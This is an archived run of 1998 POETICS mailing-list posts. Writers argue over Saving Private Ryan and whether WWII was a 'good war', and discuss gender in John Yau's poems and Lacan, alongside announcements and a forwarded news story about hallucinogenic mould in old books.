On Mon, 27 Jul 1998, david bromige wrote:

> *Kent, I havent seen this movie yet, & may never. (I have spent much time imagining combat, from what I knew of physiology and from what books tell, among earliest memories being _The Great War Illustrated_ , which I discovered in a closet under the stairs where we took refuge (?) during a buzzbomb attack in WW2.) Here, I am only interested to cope with your question, was WW2 a 'good' war? The only way I can answer that is to say that were the exact historical conditions to obtain today, it would need to be fought and I would feel impelled to take part. David*

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700. **k.a. hehir**
FEAST 27 July (fwd)
Mon 27 Jul 1998

Just in case you forget.
see you in church.

Today, 27 July, is the feast of ...

* Pantaleon or Panteleimon, martyr (c. 305?) - the Romans tried killing him by burning, liquid lead, drowning, wild beasts, the wheel and the sword, before finally succeeding by the old standby, beheading; and after the decapitation, milk flowed from his veins instead of blood

kevin

↑ Index

701. **Roger Farr**
"Book Fungus Can Get You High"
Mon 27 Jul 1998

> *"Book Fungus Can Get You High"*
>
> *By Ellen Warren / Chicago Tribune*
>
> *CHICAGO -- Getting high on great literature is taking on a whole new meaning. It turns out that, if you spend enough time around old books and decaying manuscripts in dank archives, you can start to hallucinate. Really.*
>
> *We're not talking psychedelia, "Lucy in the Sky With Diamonds" stuff, here. But maybe only a step or two away from that.*
>
> *Experts on the various fungi that feed on the pages and on the covers of books are increasingly convinced that you can get high - or at least a little wacky -- by sniffing old books. Fungus on books, they say, is a likely source of hallucinogenic spores.*
>
> *The story of The Strangeness in the Stacks first started making its way through the usually staid antiquarian books community late last year with the publication of a paper in the British medical journal, The Lancet.*
>
> *There, Dr. R.J. Hay wrote of the possibility that "fungal hallucinogens" in old books could lead to "enhancement of enlightenment."*
>
> *"The source of inspiration for many great literary figures may have been*

nothing more than a quick sniff of the bouquet of mouldy books," wrote Hay, one of England's leading mycologists (fungus experts) and dean of dermatology at Guy's Hospital in London.

Well, said an American expert on such matters, it may not be that easy.

"I agree with his premise - but not his dose. It would take more than a brief sniff," aid Monona Rossol, an authority on the health effects of materials used in the arts world.

For all the parents out there, these revelations would seem ideal for persuading youngsters to spend some quality time in the archives.

But attention kids: You can't get high walking through the rare books section of the library.

Rossol said it would take a fairly concentrated exposure over a considerable period of time for someone to breathe in enough of the spores of hallucinogenic fungus to seriously affect behavior. There are no studies to tell how much or how long before strange behavior takes hold.

Still, this much seems apparent - if you want to find mold, the only place that may rival a refrigerator is a library.

Just last week the Las Cruces, N.M., Public Library was closed indefinitely, prompted by health concerns after a fungus outbreak in the reference section. Library director Carol Brey said the fungus promptly spread to old history books and onward to the literature section.

The town's Mold Eradication Team, she said, shuttered the library as a precaution. "We didn't want to take any chances," she said. A mold removal company will address the problem, which is believed to have originated in the air conditioning system.

Psychedelic mushrooms, the classic hallucinogenic fungus, derive their mind-altering properties from the psilocybin and psilocin they produce naturally.

One historic example of this phenomenon, scientists now believe, is the madness that prevailed in the late 1600s in Salem, Mass., where ergot, a hallucinogenic fungus, infected the rye crops that went into rye bread. Ergot contains lysergic acid, a key compound of the hallucinogenic drug LSD. This tiny fungus and its wild effects on the rye-bread-eating women may have led to the Salem witch trials.

Rossol, a New York chemist and consultant to Chicago's Field Museum of

> *Natural History who publishes the newsletter Acts Facts, the journal of Arts, Crafts and Theater Safety, said that there have not been scientific studies on the hallucinogenic effects of old books.*
>
> *But, relying on accounts from newsletter readers who report their own strange symptoms - ranging from dizziness to violent nausea - she says there is no doubt that moldy old volumes harbor hallucinogens.*
> *********8
> *(Thanks to Jill Hackenberg, who sent me this e-mail. A great way to start my Monday! Aloha, Liz)*

↑ Index

702. **Rachel Levitsky**
Re: Re : Saving Private Ryan
Mon 27 Jul 1998

I agree with Alan, about no good war, though violence simply is. Hendrik Hertzberg wrote a pretty comprehensive piece on the movie in this week's New Yorker. He seems to feel the two 25 minute real life depictions of combat made the movie important, though not great, all by themselves. Posing the question of the value of realism. I remain skeptical.

--rdl

Alan Jennifer Sondheim wrote:
>
> I worked on a reply, discarded it; and can only say that I agree with
> David, although there are no good wars.
>
> I have difficulties with "good" and "bad" as well, not believing in any
> transcendent metaphoricity that would garner such divisions; which places
> me in the camp of Tertullian I suppose. And I would have gone as well.
>
> Alan
>
> On Mon, 27 Jul 1998, david bromige wrote:
>
> > Kent, I havent seen this movie yet, & may never. (I have spent much time
> > imagining combat, from what I knew of physiology and from what books tell,
> > among earliest memories being _The Great War Illustrated_ , which I

> > discovered in a closet under the stairs where we took refuge (?) during a
> > buzzbomb attack in WW2.) Here, I am only interested to cope with your
> > question, was WW2 a 'good' war? The only way I can answer that is to say
> > that were the exact historical conditions to obtain today, it would need to
> > be fought and I would feel impelled to take part. David
> >

↑ Index

703. **David Kellogg**
Saving Private Ryan
Mon 27 Jul 1998

Interesting that 25 minutes should seem "long" for a war scene. It's a result of the time-compression brought to us in part by movies themselves. A 25 minute sex scene would likely be labelled pornographic no matter how it was shot.

Speaking of which: I'm listening to a pop station while writing this and just heard a (male) DJ give away tickets to a (female) listener; they banter back and forth, agreeing that the movie will inevitably be great because Matt Damon is so "hot."

No good wars, agreed; I would probably have gone; but can any of us seriously imagine the U.S. faced with a situation that morally unambiguous? (Not the U.S. itself necessarily, but the enemy faced).

Cheers,
David
~~~
~~~

carnage. I was pleased by their thoughtful response and can't imagine how "Saving. . ." could make anyone gungho to go fight the next big one.

Maxine Chernoff

↑ Index

705. **daniel bouchard**
Re: Saving Private Ryan
Mon 27 Jul 1998

At 12:46 PM 7/27/98 -0700, MAXINE CHERNOFF wrote:
>I was pleased by their thoughtful
>response and can't imagine how "Saving. . ." could make anyone gungho to
>go fight the next big one.

but isn't the film more war-IS-horrible-but-by-god-someone's-got-to-do-it? someone's got to fight the Evil Forces. someone's got to be brave but there are no heroes here. there are no heroes here because we're just doing our duty. we're just doing our duty, and it is a bitter pill, and that is heroic, altho we're reluctant to accept such labels, because our boys suffer...

"morally unambiguous"--what does that mean?

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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706. **Laura E. Wright**
Re: FEASTing on Oulipo
Mon 27 Jul 1998

And my calendar only said it was Take Your Houseplants For a Walk day...

k.a. hehir wrote:

> *Today, 27 July, is the feast of ...*

> ** Pantaleon or Panteleimon, martyr (c. 305?) - ...*

But more seriously, re Rachel (soon to be sorely missed in Boulder) Levitsky's post on Oulipo and so on, in which she said:And by the way, since the question was asked, about women, a question that was on my mind as Harry was discussing the strict application of rules and limitation. I asked Harry if he thought the method appealed to men more than women. He scowled and asked me if I ever watched a game of hopscotch.

I never was any good at hopscotch, or jacks, for that matter.

Does anyone else gag when they read this? Why is it still acceptable to dismiss rather than addressing (or even refusing to address but owning up to it) questions if they relate to a gender or race or sexual orientation or etc. other than one's own? I'll take forthright bigotry over this sort of snideness any day.

With curry all over my keyboard,
Laura (I was never any good at hopscotch either but I loved logic) W.

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
 * * * * * *
"All music is music..." -- Ted Berrigan
    *   *   *   *   *   *
"It is very much like it" -- Gertrude Stein

<HTML>
And my calendar only said it was Take Your Houseplants For a Walk day...

<P>k.a. hehir wrote:
<BLOCKQUOTE TYPE=CITE>

<P>Today, 27 July, is the feast of ...

<P>* Pantaleon or Panteleimon, martyr (c. 305?) - ...</BLOCKQUOTE> But more seriously, re Rachel (soon to be sorely missed in Boulder) Levitsky's post on Oulipo and so on, in which she said:<I>And by the way, since the question was asked, about women, a question</I>
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<I>game of hopscotch.</I><I></I>

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I><I></I>

<P>Does anyone else gag when they read this? Why is it still acceptable to dismiss rather than addressing (or even refusing to address but owning up to it) questions if they relate to a gender or race or sexual orientation or etc. other than one's own? I'll take forthright bigotry over this sort of snideness any day.

<P>With curry all over my keyboard,

Laura (I was never any good at hopscotch either but I loved logic)
W.

<P>--

Laura Wright

Library Assistant

Allen Ginsberg Library, The Naropa Institute

2130 Arapahoe Ave

Boulder, CO 80302

[redacted]

 * * * * * *

"All music is music..." -- Ted Berrigan

     *
*
*   *
*
*

"It is very much like it" -- Gertrude Stein

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707. Gary Sullivan

FW: Can you post this on poetics list? Thanks, David

Mon 27 Jul 1998

Hey, Everyone ... fyi:

-----Original Message-----
From: David A. Kirschenbaum [SMTP:[redacted]]
Sent: Monday, July 27, 1998 4:14 PM
To: Gary Sullivan
Subject: Can you post this on poetics list? Thanks, David

Saturday Aug. 8, 1998
BOOG Literature 7th anniversary party
Hammell on Trial, Wanda Phipps, James Wilk,
Three Guys from Albany, Suburban Life and more
Hosted by BOOGLIT editor David Kirschenbaum
Segue Space 303 E.8th St. (bet. B & C) $6 door
Info: [redacted]
Email: [redacted]
F train to 2nd Avenue

_____ Belinda P. Yong ph: [redacted] Publishing Associate
fax: [redacted] MBL Communications e-mail: [redacted] 665 Broadway, Suite 805 New York, NY 10012

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708. **Marjorie Perloff**

Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)

Mon 27 Jul 1998

Re: Saving Private Ryan, which I haven't seen and don't intend to see, having found SCHINDLER'S LIST quite phoney and manipulative:

Kent, if you want to see what WWII "felt like," look at some of the superb documentaries often shown on the History Channel. That was the real thing. Spielberg's simulations, as a letter to the editor in the LA Times pointed out today, are on the following order: in one battle scene the officers were helmets with insignias that, acc. to this letter writer who fought in the war, no officer ever would wear in battle because it showed up too much. A small detail but typical. I personally think the simulation of violent battle scenes is voyeuristic and also false. It does NOT tell you what war felt like. My husband Joe who was actually in WWII (tail end, missed the battles) in the Pacific Theatre will tell you how disappointed the 18-year olds like himself were to miss the battles because the felt they weren't being brave and heroic enough. Frank O'Hara, in the Pacific theatre at about the same time, writes the same thing in letters to his family. It may have been crazy, but there it is.

As for the "good war" question, as someone who wouldn't be here today if the British and US had not fought, I find the question really creepy. Would you have liked to live under the Nazis? Not a hypothetical question for the British in 1939. Nothing like a lot of people who have never had to fight or indeed do anything on that order to sit around and discuss whether or not they would have gone, and yes, as we all know all wars are evil! IWhat else is new? It shows that it's time for a few history lessons for the kids.

and, by the way, as endless letters in LA have been saying to Spielberg, who said there were no great war movies?? There have been dozens with amazing battle scenes but perhaps the greatest ever is the Bridge on the River Kwai. Not exactly a "recruiting" picture --it's very anti-war --but deals with real issues not, "Oh boy, war is hell." Isn't there something wrong with sitting comfortably in a theatre, warm enough, well-fed enough, eating popcorn and watching "War is hell" films?

Well--I'm sure I'm in the minority here but I had to sound off a bit....

xxx
Marjorie

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709. **Billy Little**
Re: Saving Private Ryan
Mon 27 Jul 1998

---

or Dalton Trumbo's Johnnie Got His Gun or Nathaniel West's Dream Life of Balso Snell, or Kenneth Patchen's Sleepers Awake, but they only make pacificists one at a time, not like tanks rolling off the chrysler line, and by the way nobody's talking about one of the real reasons the japanese economy is faltering, for fifty years they were forbidden to spend on military but that's all changed in the past decade, they're working hard to make the arms dealers (like Harrod's owned by Diana's boyfriend's Dad) wealthier still and defence spending is a dead loss what i've heard is if you took the money in the defence budget and just threw it in the street more jobs would be created than spent as it is.

billy little
4 song st.
nowhere, b.c. V0R1Z0

Yeah, I stole from
the treasury
of human folly
I spent it all on you, baby...

don't mention it

Duncan McNaughton

↑ Index

710. **louis stroffolino**
Re: Saving Private Ryan
Mon 27 Jul 1998

I probably would not have gone....Hail Robert Lowell! (though, he's been called a mere wax-museum puppet). Hail John and Yoko!..... cs.....

On Mon, 27 Jul 1998, David Kellogg wrote:

> *Interesting that 25 minutes should seem "long" for a war scene. It's a result of the time-compression brought to us in part by movies themselves. A 25 minute sex scene would likely be labelled pornographic no matter how it was shot.*
>
> *Speaking of which: I'm listening to a pop station while writing this and just heard a (male) DJ give away tickets to a (female) listener; they banter back and forth, agreeing that the movie will inevitably be great because Matt Damon is so "hot."*
>
> *No good wars, agreed; I would probably have gone; but can any of us seriously imagine the U.S. faced with a situation that morally unambiguous? (Not the U.S. itself necessarily, but the enemy faced).*
>
> *Cheers,*
> *David*
> *~~~

Maxine Chernoff

On Mon, 27 Jul 1998, daniel bouchard wrote:

> *At 12:46 PM 7/27/98 -0700, MAXINE CHERNOFF wrote:*
> *I was pleased by their thoughtful*
> *response and can't imagine how "Saving. . ." could make anyone gungho to*
> *go fight the next big one.*
>
> *but isn't the film more war-IS-horrible-but-by-god-someone's-got-to-do-it?*
> *someone's got to fight the Evil Forces.*
> *someone's got to be brave but there are no heroes here.*
> *there are no heroes here because we're just doing our duty.*
> *we're just doing our duty, and it is a bitter pill, and that is heroic,*
> *altho we're reluctant to accept such labels, because our boys suffer...*
>
> *"morally unambiguous"--what does that mean?*
>
> *<<<<<<>>>>>>>>>>>>>>>>>>*
> *Daniel Bouchard*
> *The MIT Press Journals*
> *Five Cambridge Center*
> *Cambridge, MA 02142*
>
> [redacted]
> *phone:* [redacted]
> *fax:* [redacted]
> *<<<<<<<<<<<<<<<<*

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712. **Rachel Levitsky**

Re: Hello I must be going

Mon 27 Jul 1998

Be back in about 2 weeks.

hasta la vista,

RDL

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713. Don Cheney
Re: Hello I must be going
Mon 27 Jul 1998

rachel,

damn! i thought you were going to bring up DUCK SOUP as the classic anti-war movie. but of course your subject would've been HAIL HAIL FREEDONIA!

don

> *Be back in about 2 weeks.*
>
> *hasta la vista,*
>
> *RDL*

↑ Index

714. Karen Kelley
Re: John Yau's MY SYMPTOMS
Mon 27 Jul 1998

Hi Chris,

Good call: it IS "Butcher, Baker..."

"I'm a dancer who makes men spin in their graves, gets them to yell 'bay bee,' whisper 'gosh' and 'honey,' and dream of 'whoopee.'"

"Fate got warm with me, dealt me a flush. So I'm packaged right for the job. I have an easygoing, cornstalk smile; I'm tall and tilted just enough so short guys don't have to crane their little necks and hurt themselves. I can crouch and rise smooth as a wave. Twist and twirl until their brains turn to jellyfish bobbing in a beer bottle."

"Early on I learned that men like to be swatted a little if you do it right and put on your girl-next-door smile while shaking your assets just beyond reach. I had tits and a smile that gave men cramps."

This seems *extraordinarily* off-base as a representation of what a woman might think when contemplating male reaction to her body. Admittedly I am *one* woman among many. But I wonder if perhaps Yau isn't closer to what *men* *think* women think.

When I first read the piece I felt guilty about finding it an amusing read when it was so clearly a man's idea of a woman's feelings. And as someone who's held the same job as the narrator, I'm aware of how routinely dancers are stereotyped.

It sounds like you felt differently about the piece, Chris. C'mon, spill it.

Karen

louis stroffolino wrote:

> *Dave Baratier asks what "cross-gendered identification" is.*
> *I guess I just meant the term simply (if loosely) to mean*
> *when someone of one gender and/or sex adopts or takes on*
> *the voice of someone of another gender and/or sex....*
> *I didn't say that YAU was NEW for doing that....*
> *but then "make it new" has never been much of a standard for me*
> *(see Mike Magee's intro to his mag COMBO for a view I largely share)*
>
> *Karen Kelley. COuld you tell me which particular piece of Yau's was*
> *in First Intensity? My hunch is you're talking about a piece called*
> *BUTCHER, BAKER, or CANDLESTICK MAKER, but I'd like to know more*
> *specifically before I respond....Because I'm curious about what*
> *you mean by "stereotypical" and why you think the piece you read is*
> *so.....*
> *Thanks, chris stroffolino*
>
> *On Thu, 23 Jul 1998, Karen Kelley wrote:*
>
> *I recently read something of Yau's in a mag--was it First Intensity? I'm*
> *sorry--I can't recall, but it was perhaps from the new book & was the narrative*
> *of a stripper & I found it rather disturbing in that the narrator was kind of*
> *dumb & angry & thought highly of her breasts (no prob with that in & of itself)*
> *& little of men in general--she was kind of a jaded line drawing of a*
> *woman--with the interior monolog of a stereotype, which I suppose is okay,*
> *though as this thread goes to show, the whole male/female or masc/fem question*
> *is much more complex than Yau's piece implied, and I guess I just felt annoyed*
> *that he was willing to throw another stereotype my way.*
>
> *louis stroffolino wrote:*
>
> > *Has anybody here read Yau's new Black Sparrow book?*
> > *In it, there is much "cross-gendered identification"*
> > *that---though it is written by a male--seems to, er,*
> > *"rupture patriarchal discourse" and could serve as*
> > *a complement to, say, Carla Harryman who also engages*
> > *in "cross-gendered" identification. I think Yau does*
> > *a very good job at trying to speak AS woman "other"*
> > *and negotiating the representational anxieties that*
> > *might attend the "presumption" of such a task.....*
> > *but would be very interested to hear opposing views....*
> > *chris stroffolino*

On Wed, 22 Jul 1998, Linda Russo wrote:

Rah rah.

I'm glad to see Safdie Joseph annoyed with the "position" that feminism had seemed to put Todd in (in reading the original post, before Todd's brilliant comeback) -- as an apologist. Elizabeth Treadwell makes the same point as well (though I have definite issues with Postfeminist Playground, for another post).

I wish we could just do away with the gender essentialism which causes so many with physical bodies to feel they have to apologize for some appendage or other. I'm intrigued by the problems women (and other 'others') face in trying to enter the current the forums/debates etc. -- very material problems (as Woolf pointed out early on) rooted in patriarchal biases.

But it's more fruitful to continue mucking things up, to keep getting more and more challenging writing published, to continue framing experiment as a rupture of "patriarchal laws" (Kristeva's argument; what Woolf recognized as "convention," what Bernstein has called "populist realism" etc) -- to recognized that oppression is at work, even that gender oppression is at work, but to quite calling the counter/re/active strategies "feminine"! or to call it feminine and stop stop linking this to (women's) biology! Or we all really do have the Anxiety of Influence -- we're all a bundle of nerves!

Until we get some intelligent conversation going to reframe the issues (and reframe them for feminist literary scholarship) we're going to be beaten over the heads with said appendages. (Not that it isn't out there -- Judith Butler, for example -- But to what extent has it made its way into contemporary poetics discussions?)

Todd's comeback:

being "stuck' has to do with our discussion of (bad spelling...er..) gender roles and structures in poetics. If one is aware of a gender role or gender model--then I believe on is "stuck" within the defintion and confinement of terminology. I do not believe tho that one is punished or "jailed" as in "stuck in prision..stuck in my room". The thing is that "stuck" is structure--if one identifies patterns as either male or female--but I agree with others when they notice that structures in poetics are male--in that they derive from male poets and male narratives--how else would the Epic, the sonnet, etc. have found their way here--now--in their forms. Your Marxist response negates that economics is gender and age (and race) based also. Very much so--are structures of Marxism (poor ms. marx and his daughters) and Capitalist

> *Democracy/etc ("Free Market") based on a male pattern (baldness?) power elite-thus yes economics determine us--BUT--those economics are not--are not ---"impersonal economic forces..." --*
>
> *never impersonal.*
>
> *Tb*

↑ Index

715. **david bromige**

poets & patriarchy (Orpheus Deconstructed)

Mon 27 Jul 1998

Well, now, there, Orpheus, you're off to a fine start with your "Poetry, don't you start telling me about poetry. I know all about poetry, thank you very much." There's an end to discussion right there. No principle of exchange informs your procedures? You will be telling _us_ about poetry. And after all, we don't know all about poetry yet. Well, then, Yessir!

Permit me (or don't permit me) to take issue with certain of your pronouncements (or Papal bulls---).

"There's no obligation to accept society." I would say that you already are enjoying this obligation. I'm sure you use money, and that the electric company introduces power to your home, that when you turn the tap, potable water flows.- Some arm of society probably taught you to read and spell. And we know for a fact that you are on a Poetics List on the Internet.

"There's no obligation to accept women." Well, it all depends what you mean by "accept." At one level, you have to accept their existence and the exclusive function of childbirth, unless you were not of woman born.

"Poets don't need religion...[nor]...theories, and any form of dogma of the left or right." Yet later, you remark that all the American poets now considered great, were men whose politics were either informed by Christian viewpoint, or...whose politics were conservative. Can you clear up this apparent contradiction in your thought?

[Btw, Emily Dickinson? Not a man.]

You are correct in identifying my thinking with Lacan's, although I reject your assertion that my thinking is "a fickle and badly digested Lacan-ism." In fact, when you write "the penis is not the Phallus" it is your Lacan that sounds poorly digested, for although you know that "penis" and "phallus" are not synonymous

in his terminology, it did not occur to you that they sometimes overlap, and that my aside indicated one of these times. After all, the penis is a source of the trouble we were discussing, and the phallus is a term for that trouble. It is simply too simple to make the sweeping statement you were anxious to make.

I think you might enjoy reading Lacan at greater length. His is a poetic sensibility; he was a rebel; he was a man.

But I am a poet and I would agree with you that as creators we need humble ourselves before noone. When in 1966 I wrote the poem "A Final Mission" (_The Ends of the Earth_, Black Sparrow, L.A., 1968), in which a B-52 transforms into a penis that then transforms into a naked woman, I had not read Lacan, although I had of course read Freud, and, beyond that, I had experience and the feelings it brings with it. When, a decade later, I _did_ begin to read Lacan, I was drawn on by my recognition of, if not a like-mindedness, then of a shared interest, and a sense that I might find articulated in ways beyond my abilities, insights I'd had.

I thought, you know, I might learn something. Even though I am a poet.

As to a damn' Dogleash : I had the chance to do further research just last night, before I fell asleep. I admire the pretty lawns and the well-kept-up cottages, and the alluring rivers and wave-swept beaches (where would England be today without its tourist industry?) where the corpses keep popping up. Dogleash looks like a wimp to me (whereas, despite his "culture," Morse doesn't) but that's dismissibly subjective. The bigger picture is that in a time of universal police-inspired repression, I balk at making a hero out of even the most sensitive and perspicacious of fictional cops. And that is political, no two ways about it. But I am entertained by the landscape, the lightning, the editing, the sets, the high-priced cars, the make-up and costumes, the simulation of emotions, the memorized dialogs, the shell-game plot, the simple notion that beneath respectable exteriors may lurk evil, a family of ferocious moles beneath one of those lovely lawns... Btw, what's the signification of the increase in corpse dissection in the police labs in all these English tec shows? Is that what market research shows the Brits want? And the rest of the viewing world?

David

↑ Index

716. **Rachel Loden**

Re: Saving Private Ryan

Mon 27 Jul 1998

Billy Little wrote:

> *what i've heard is if*
> *you took the money in the defence budget and just threw it in the street*
> *more jobs would be created than spent as it is.*

I spent three years as a full-time antinuclear activist (and lifelong red diaper baby peace creep etc. etc.), so please don't misunderstand my intentions here. But in a fabulous bit of irony, the internet on which you're reading these words began, and probably could only have begun, as a DARPA (Defense Advanced Research Program Agency) project. And writing from the heart of the Silicon Valley, as I do, it's clear that the internet is creating most of the "best" jobs. Which is not to say that such a chain of events is anything more than random, or that most defense spending is productive. It isn't.

Would that the question were simpler and less vexed--

Rachel

↑ Index

717. **Tosh**
Re: Saving Private Ryan
Tue 28 Jul 1998

> *At 12:46 PM 7/27/98 -0700, MAXINE CHERNOFF wrote:*
> *I was pleased by their thoughtful*
> *response and can't imagine how "Saving. . ." could make anyone gungho to*
> *go fight the next big one.*
>
> *but isn't the film more war-IS-horrible-but-by-god-someone's-got-to-do-it?*
> *someone's got to fight the Evil Forces.*
> *someone's got to be brave but there are no heroes here.*
> *there are no heroes here because we're just doing our duty.*
> *we're just doing our duty, and it is a bitter pill, and that is heroic,*
> *altho we're reluctant to accept such labels, because our boys suffer...*
>
> *"morally unambiguous"--what does that mean?*
>
> *I just saw the movie and I have to agree with the above. I thought the*
> *whole film is a piece of hack work. War films by Sam Fuller, Kurbrick and*
> *others are much better. The hype around the 'realistic' war scenes is*
> *just that - images that have been used before and I think done in a better*
> *way in the past. Something like Kurbrick's film is much more terrifying*
> *than anything I saw this afternoon. Speilberg is a filmmaker without any*
> *soul.*

Tosh Berman

TamTam Books

↑ Index

718. **Simon DeDeo**
Re: Saving Private Ryan
Tue 28 Jul 1998

I'm just a young one who was hardly alive when
the Falklands were going on; having never really
been around during a serious war that my own
country was involved with, I find a lot of the
"war movies" (including more "gritty" ones such
as Kubrick's) somewhat disturbing. Knowing how
much the media distorts, say, the underground
environmental movements such as Earth First!,
which I'm familiar with, it's hard to take their
fare in even more important aspects of an education.
The Killing Fields, for example, is a pretty
good movie, but rather confused; as an emotional
work, it's excellent, but in the way it blurs the
actual events around, I think it fails in it's
duty somehow; I remember having to explain to
everyone in the rooom what was going on, who Pol
Pot was, why everyone getting shot was wearing
glasses -- even, at one point, why the Cambodians
spoke French.

I realize that this is part of
the viewer's problem, but it seems that, if the
movie can have its effect without the audience
needing to know what's going on, they might as
well have made a movie about the Crusades and
left it at that.

So what's left, if you exclude the motion picture?
For me, I've always found the craters in the side
of the V&A in London the most eloquent "rememberance"
of the Blitz; for those who haven't been there,
imagine the NY Metropolitan Museum of Art with chunks
of stone missing from the side. In the same way,
physically being present in a concentration camp
is a fundamentally different experience from watching

the Spielberg recreation. There's something about physical presence -- or, at least, a representation of physical presence without a narrator -- that overwhelms the senses more than a report, or a film. Perhaps this is a historical approach similar to the Quaker "bearing witness"; it's not enough to be aware second hand.

That's not to say that fiction or poetry or filmmaking has no place in war or tragedy; far from it -- Doris Lessing, for example, has, to my mind, a brilliant depiction of just-post-war London in the Four Gated City. But when you deal with these events as a political being, as a "citizen", it seems as if a different approach is needed.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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719. **Marjorie Perloff**

Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)

Tue 28 Jul 1998

I wrote last night's message at white heat, mispelled "wear" (put "were") and so on so let me add a little p.s.

The question "Is there such a thing as a good war?" is a non-question. The real issue would be: Since we all know that war is hell for those who fight it, one must ask 1) what led up to War X? 2) could it have been avoided? (in this case, as Churchill shows so beautifully in THE GATHERING STORM) it probably could have been avoided f the West had armed and not let Hitler get away with his actions beginning in 1933. 3) Once war IS declared, can one turn one's back on those who are fighting, in essence, for your ability to continue living and say you won't participate?

Refusing to fight in the case of the Vietnam War was one thing; in the case of WWII it was quite another. There really wasn't much choice since the victory of the Germans was a very real possibility.

I've just been reading (for a conference at Yale in the fall) Eugene Jolas's auto-biography, about to be published. Jolas (the editor of transition, Joyce's great

friend, poet, etc) was Alsatian, tri-lingual, describes movingly how his brother got into a fight right on the border with a Nazi as early as 1933 and was jailed for 2 years by the Nazis and tortured just for that. He describes how the whole literary and intellectual community felt when France fell and the Nazis marched into Paris. At a moment like that, you don't sit around and say, "Isn't war hell" and "is this a good war?" You just defend your friends as Beckett did by doing whatever you can.

Therefore I am wholly unimpressed with Spielberg's latest Star Wars venture--cops and robbers yet again. I don't care how "authentic" it is; it's a simulation meant to do--exactly what? Make people wonder if it was worthwhile? Make money? Whatever the motives, they're not very good ones and they totally distort what really went on in WWII.

Incidentally, the best movie on this question (not battle scenes but otherwise) aside from "River Kwai" is surely Ophuls' THE SORROW AND THE PITY. Splices actual war footage and occupation footage with interviews with the survivors, of all political stamps. It's hair-raising.

Basta!

Marjorie Perloff

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720. k.a. hehir
haraldo de campos
Tue 28 Jul 1998

---

hi, after reading the excerpt from 'transient servitude' in the much talked about poems for millenienites, i want to perform it with another member of the modern languages dept. can any body point me to a parallel translation of the whole thing?

if it is a whole book, please excuse my ignomance.

i too am using the series(of 2) as an education.

still,
kevin

|----------| | Arsenic, a classic homicidal poison, occurs naturally | | in small amounts in many foods.
	The World of Chemistry Essentials

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721. **J. Kuszai**
Meow Press is Moving!
Tue 28 Jul 1998

Meow Press is Moving!

* EFFECTIVE IMMEDIATELY *

Meow Press
Joel Kuszai, editor

POBox 948568
La Jolla, CA 92037

[redacted]
http://writing.upenn.edu/epc/presses

↑ Index

722. **David Kellogg**
Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
Tue 28 Jul 1998

Marjorie,

These young people today . . .

Seriously, though, I think we're seeing different things here. The question of "would I have gone" is not I think mainly directed at the actual past but at our imagined future. True, I haven't suffered or done anything "of that order," but why is the _question_ creepy? The answer may be.

You and I may actually converge on a question of "national feeling." I read Richard Rorty's _Achieving Our Country_ a few weeks ago and haven't been the same since.

Cheers,
David
~~~
~~~

723. **daniel bouchard**
what doing there? why play that?
Tue 28 Jul 1998

Marjorie Perloff:

I haven't seen the film either, and don't intend to for similar reasons that you state. Actually, I haven't seen SCHINDLER'S LIST either; something about Spielberg's films make me feel really angry. (Except JAWS, which was relaxing and enjoyable.)

Perhaps I'm misreading your tone below but I think talking about "whether one would go" during peacetime is quite important. After all, if one wants to conscientiously object out of the military, you've got to do a lot of groundwork before the war comes. It's not just important, it's imperative.

The history lessons for many kids I knew were completely inadequate to stimulate such discussions. I'm talking about classroom lessons. Movies, however, provoked talk; however basic they might have been, the questions came up. The films were THE DEER HUNTER, FULL METAL JACKET (viewed one summer over 60 times with friends, we still have it largely memorized), BIG WEDNESDAY (believe it or not), and PLATOON. Generally, a lot of guys felt (feel) the gov't/military is a fucked lot of liars and dickheads but nevertheless they would go to war if called. (This was before the ROTC guys who were trying to pay for college found themselves in Saudi Arabia, "making the world safe for democracy.") One guy in particular I remember phrased it as "going to bat for you country." He was against senseless war (Korea, VietNam, the Gulf, assorted invasions of Latin American countries) but by-god you've got to "go to bat for you country." His expression as he said it still pains me. (Some kind of vague devotion to... something.)

So sit around. Talk about it. Watch war-is-hell films. Read THE ENORMOUS ROOM, ARMIES OF THE NIGHT, "Route," FROM HERE TO ETERNITY (you can watch this too). Find the documentaries that show how we began a systematic destruction of Iraqi society (and continue to do it).

Better to talk of these things over popcorn in the air-conditioned theater, than in the bunker thru your gas mas---I'm guessing anyway; rather not have to go both roads.

simplistic, naive, bourgeois,

- db

> *Nothing like a lot of people who have*
> *never had to fight or indeed do anything on that order to sit around and*
> *discuss whether or not they would have gone, and yes, as we all know all*

> *wars are evil! What else is new? It shows that it's time for a few history lessons for the kids...*

Isn't there
>something wrong with sitting comfortably in a theatre, warm enough,
>well-fed enough, eating popcorn and watching "War is hell" films?
>
>Well--I'm sure I'm in the minority here but I had to sound off a bit....
<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

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724. Pritchett,Patrick
Re: Her Privates We
Tue 28 Jul 1998

When Sam Fuller's WWII film _The Big Red One_ came out in the early 80's, he was asked the usual questions about the verisimilitude of war films and responded by saying that the ony way to give an audience any idea of "what it was like" would be to have rifllemen shoot into the audience.

As far as great battle scenes go, it's hard to imagine anyone improving on Welles's Battle of Shrewsbury in _Chimes at Midnight_, or Kurosawa's storming of the Third Castle in _Ran_. The best war film I've ever seen, bar none, and one that I'm not ashamed to say makes me weep unabashedly, is Kon Ichikawa's _Harp of Burma_, also a WWII film, also "anti-war," and yet, so much more, of course. (Also on WWII by Ichikawa and worth seeing: _Fires on the Plain_).

I look forward to the Spielberg, nevertheless. He's far too important a cultural barometer to dismiss out of hand, regardless of what one may think of him as a filmmaker. Besides which, teenage girls in LA used to mistake me for him when I wore my baseball cap. And me, with such a humble schnozz!

Patrick Pritchett

From: Marjorie Perloff
To: [redacted]

Subject: Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
Date: Monday, July 27, 1998 4:09PM

